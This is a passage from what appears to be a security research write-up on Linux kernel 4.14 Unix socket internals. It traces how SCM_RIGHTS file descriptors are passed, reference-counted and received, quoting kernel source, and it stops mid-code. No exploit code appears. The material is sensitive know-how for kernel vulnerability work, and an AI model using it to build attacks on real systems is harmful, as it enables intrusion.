<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.c96392c69342188701600f62dd8e18978b65546f"></a><a id="t.0"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_fp_list </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">short</span><span class="ykcrMYlEiJ-c0"> count</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">short</span><span class="ykcrMYlEiJ-c0"> max</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> user_struct </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">user</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> file </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">[</span><span class="ykcrMYlEiJ-c0">SCM_MAX_FD</span><span class="ykcrMYlEiJ-c10">];</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">};</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c3">unix_stream_sendmsg</span><span> invokes </span><span class="ykcrMYlEiJ-c3">scm_send</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/af_unix.c#L1886">af_unix.c#L1886</a></span><span>) to initialize the </span><span class="ykcrMYlEiJ-c3">scm_fp_list</span><span> structure, linked by the</span><span> </span><span class="ykcrMYlEiJ-c3">scm_cookie</span><span> structure on the stack.</span></p><a id="t.15e3db5d013417d6ac8097f3ef1d76367028ae48"></a><a id="t.1"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_cookie </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> pid </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">pid</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* Skb credentials */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">struct</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scm_fp_list </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">*</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">;</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c23 ykcrMYlEiJ-c7">/* Passed files */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_creds creds</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* Skb credentials */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">#ifdef</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"> CONFIG_SECURITY_NETWORK</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> u32 secid</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c23">/* Passed security ID */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">#endif</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">};</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>To be more specific, </span><span class="ykcrMYlEiJ-c3">scm_send</span><span> → </span><span class="ykcrMYlEiJ-c3">__scm_send</span><span> → </span><span class="ykcrMYlEiJ-c3">scm_fp_copy</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/core/scm.c#L68">scm.c#L68</a></span><span>) reads the file descriptors from the userspace and initializes </span><span class="ykcrMYlEiJ-c3">scm_cookie->fp</span><span> which can contain </span><span class="ykcrMYlEiJ-c3">SCM_MAX_FD</span><span class="ykcrMYlEiJ-c2"> file structures.</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Since the Linux kernel uses the </span><span class="ykcrMYlEiJ-c3">sk_buff</span><span> (also known as socket buffers or </span><span class="ykcrMYlEiJ-c3">skb</span><span>) object to manage all types of socket datagrams, the kernel also needs to invoke the </span><span class="ykcrMYlEiJ-c3">unix_scm_to_skb</span><span> function to link the </span><span class="ykcrMYlEiJ-c3">scm_cookie->fp</span><span> to a corresponding </span><span class="ykcrMYlEiJ-c3">skb</span><span> object. This occurs in </span><span class="ykcrMYlEiJ-c3">unix_attach_fds</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/scm.c#L103">scm.c#L103</a></span><span class="ykcrMYlEiJ-c2">):</span></p>
<p class="c31 c20 c29"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.7d908bfdc8aa4cf5bff47e5320fdce7dc7e2949e"></a><a id="t.2"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">…</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/*</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * Need to duplicate file references for the sake of garbage</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * collection. Otherwise a socket in the fps might become a</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> * candidate for GC while the skb is not yet queued.</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23"> */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIXCB</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">).</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">=</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> scm_fp_dup</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(!</span><span class="ykcrMYlEiJ-c0">UNIXCB</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">).</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">return</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">-</span><span class="ykcrMYlEiJ-c0">ENOMEM</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">…</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The </span><span class="ykcrMYlEiJ-c3">scm_fp_dup</span><span> call in </span><span class="ykcrMYlEiJ-c3">unix_attach_fds</span><span class="ykcrMYlEiJ-c2"> increases the reference count of the file descriptor that’s being passed so the file is still valid even after the sender closes the transmitted file descriptor later:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.48360ede8275e8fd7e6e61cd084a628de58bb15f"></a><a id="t.3"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_fp_list </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">scm_fp_dup</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_fp_list </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_fp_list </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">new_fpl</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">int</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(!</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">return</span><span class="ykcrMYlEiJ-c0"> NULL</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> new_fpl </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> kmemdup</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> offsetof</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> scm_fp_list</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> fp</span><span class="ykcrMYlEiJ-c10">[</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">count</span><span class="ykcrMYlEiJ-c10">]),</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> GFP_KERNEL</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">new_fpl</span><span class="ykcrMYlEiJ-c10">)</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">for</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">i </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> i </span><span class="ykcrMYlEiJ-c10"><</span><span class="ykcrMYlEiJ-c0"> fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">count</span><span class="ykcrMYlEiJ-c10">;</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">++)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> get_file</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fpl</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">-></span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">[</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">i</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">]);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> new_fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">max </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> new_fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">count</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> new_fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">user </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> get_uid</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fpl</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">user</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">}</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">return</span><span class="ykcrMYlEiJ-c0"> new_fpl</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">}</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Let’s examine a concrete example. Assume we have sockets </span><span class="ykcrMYlEiJ-c8">A</span><span> and </span><span class="ykcrMYlEiJ-c8">B</span><span>. The </span><span class="ykcrMYlEiJ-c8">A</span><span> attempts to pass itself to </span><span class="ykcrMYlEiJ-c8">B</span><span>. After the </span><span class="ykcrMYlEiJ-c3">SCM_RIGHTS</span><span> datagram is sent, the newly allocated </span><span class="ykcrMYlEiJ-c3">skb</span><span> from the sender will be appended to the </span><span class="ykcrMYlEiJ-c8">B</span><span>’s </span><span class="ykcrMYlEiJ-c3">sk_receive_queue</span><span class="ykcrMYlEiJ-c2"> which stores received datagrams:</span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNWAkA0RVb4goO21_FhJOVV-LSNTfbXV7GKoqH-CUrdMTpDcNUSQxEssrnAVGxC50aK-Z3HfIWeDyCgkr6lb5-a1Ha9Km5ppaHeBzWmLj8NTmZtUjx8J-VzzM1O7mYdjOfw2ErddrslDXw6rDZrs0g1DEC1Ya4VAbkLKKEhZgNPeiSefH-xpv3zDa8/s1438/image71.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNWAkA0RVb4goO21_FhJOVV-LSNTfbXV7GKoqH-CUrdMTpDcNUSQxEssrnAVGxC50aK-Z3HfIWeDyCgkr6lb5-a1Ha9Km5ppaHeBzWmLj8NTmZtUjx8J-VzzM1O7mYdjOfw2ErddrslDXw6rDZrs0g1DEC1Ya4VAbkLKKEhZgNPeiSefH-xpv3zDa8/s1200/image71.png" border="0" alt="unix_stream_sendmsg creates sk_buff which contains the structure scm_fp_list. The scm_fp_list has a fp pointer points to the transmitted file (A). The sk_buff is appended to the receiver queue and the reference count of A is 2." style="max-height: 750px; max-width: 600px;"title="unix_stream_sendmsg creates sk_buff which contains the structure scm_fp_list. The scm_fp_list has a fp pointer points to the transmitted file (A). The sk_buff is appended to the receiver queue and the reference count of A is 2." /></a></span></p>
<p class="ykcrMYlEiJ-c31 ykcrMYlEiJ-c20"><span class="ykcrMYlEiJ-c3">sk_buff</span><span> carries </span><span class="ykcrMYlEiJ-c3">scm_fp_list</span><span class="ykcrMYlEiJ-c2"> structure</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The reference count of </span><span class="ykcrMYlEiJ-c8">A</span><span> is incremented to 2 and the reference count of </span><span class="ykcrMYlEiJ-c8">B</span><span class="ykcrMYlEiJ-c2"> is still 1.</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><h2 class="ykcrMYlEiJ-c30 ykcrMYlEiJ-c20" id="h.b16dgtqtkmv1"><span class="ykcrMYlEiJ-c1">Receiving</span></h2>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>Now, let’s take a look at the receiver side </span><span class="ykcrMYlEiJ-c3">unix_stream_read_generic</span><span> (we will not discuss the </span><span class="ykcrMYlEiJ-c3">MSG_PEEK</span><span> flag yet, and focus on the normal </span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/af_unix.c#L2445">routine</a></span><span>). First of all, the kernel grabs the current </span><span class="ykcrMYlEiJ-c3">skb</span><span> from </span><span class="ykcrMYlEiJ-c3">sk_receive_queue</span><span> using </span><span class="ykcrMYlEiJ-c3">skb_peek</span><span>. Secondly, since </span><span class="ykcrMYlEiJ-c3">scm_fp_list</span><span> is attached to the </span><span class="ykcrMYlEiJ-c3">skb</span><span>, the kernel will call </span><span class="ykcrMYlEiJ-c3">unix_detach_fds</span><span> (</span><span class="ykcrMYlEiJ-c9"><a class="ykcrMYlEiJ-c261" href="https://elixir.bootlin.com/linux/v4.14.277/source/net/unix/scm.c#L125">link</a></span><span>) </span><span>to parse the transmitted file structures from </span><span class="ykcrMYlEiJ-c3">skb</span><span> and clear the </span><span class="ykcrMYlEiJ-c3">skb</span><span> from </span><span class="ykcrMYlEiJ-c3">sk_receive_queue</span><span>:</span></p>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p><a id="t.d7b1cde66ffafc113438777cb255432b8ed4e0e4"></a><a id="t.4"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c23">/* Mark read part of skb as used */</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(!(</span><span class="ykcrMYlEiJ-c0">flags </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0"> MSG_PEEK</span><span class="ykcrMYlEiJ-c10">))</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c0">UNIXCB</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">).</span><span class="ykcrMYlEiJ-c0">consumed </span><span class="ykcrMYlEiJ-c10">+=</span><span class="ykcrMYlEiJ-c0"> chunk</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> sk_peek_offset_bwd</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> chunk</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c14 ykcrMYlEiJ-c7">if</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> </span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">UNIXCB</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">).</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">fp</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> unix_detach_fds</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">(&</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7">scm</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">,</span><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c7"> skb</span><span class="ykcrMYlEiJ-c10 ykcrMYlEiJ-c7">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">unix_skb_len</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">))</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">break</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> skb_unlink</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">&</span><span class="ykcrMYlEiJ-c0">sk</span><span class="ykcrMYlEiJ-c10">-></span><span class="ykcrMYlEiJ-c0">sk_receive_queue</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> consume_skb</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">skb</span><span class="ykcrMYlEiJ-c10">);</span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c29"><span class="ykcrMYlEiJ-c0 ykcrMYlEiJ-c13"></span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">scm</span><span class="ykcrMYlEiJ-c10">.</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">break</span><span class="ykcrMYlEiJ-c10">;</span></p></td></tr></table>
<p class="ykcrMYlEiJ-c5"><span class="ykcrMYlEiJ-c2"></span></p>
<p class="ykcrMYlEiJ-c12 ykcrMYlEiJ-c20"><span>The function </span><span class="ykcrMYlEiJ-c3">scm_detach_fds</span><span> iterates over the list of passed file descriptors (</span><span class="ykcrMYlEiJ-c3">scm->fp)</span><span> </span><span class="ykcrMYlEiJ-c2">and installs the new file descriptors accordingly for the receiver:</span></p><a id="t.cccd27f0609fb1b03a888ddc1137e5fe1004a78a"></a><a id="t.5"></a><table class="ykcrMYlEiJ-c33"><tr class="ykcrMYlEiJ-c17"><td class="ykcrMYlEiJ-c18" colspan="1" rowspan="1">
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c14">for</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">i</span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c35">0</span><span class="ykcrMYlEiJ-c10">,</span><span class="ykcrMYlEiJ-c0"> cmfptr</span><span class="ykcrMYlEiJ-c10">=(</span><span class="ykcrMYlEiJ-c0">__force </span><span class="ykcrMYlEiJ-c14">int</span><span class="ykcrMYlEiJ-c0"> __user </span><span class="ykcrMYlEiJ-c10">*)</span><span class="ykcrMYlEiJ-c0">CMSG_DATA</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">cm</span><span class="ykcrMYlEiJ-c10">);</span><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10"><</span><span class="ykcrMYlEiJ-c0">fdmax</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> i</span><span class="ykcrMYlEiJ-c10">++,</span><span class="ykcrMYlEiJ-c0"> cmfptr</span><span class="ykcrMYlEiJ-c10">++)</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c10">{</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">struct</span><span class="ykcrMYlEiJ-c0"> socket </span><span class="ykcrMYlEiJ-c10">*</span><span class="ykcrMYlEiJ-c0">sock</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">int</span><span class="ykcrMYlEiJ-c0"> new_fd</span><span class="ykcrMYlEiJ-c10">;</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> err </span><span class="ykcrMYlEiJ-c10">=</span><span class="ykcrMYlEiJ-c0"> security_file_receive</span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">fp</span><span class="ykcrMYlEiJ-c10">[</span><span class="ykcrMYlEiJ-c0">i</span><span class="ykcrMYlEiJ-c10">]);</span></p>
<p class="ykcrMYlEiJ-c12"><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c14">if</span><span class="ykcrMYlEiJ-c0"> </span><span class="ykcrMYlEiJ-c10">(</span><span class="ykcrMYlEiJ-c0">err</span><span class="ykcrMYlEiJ-c10">)</span></p>
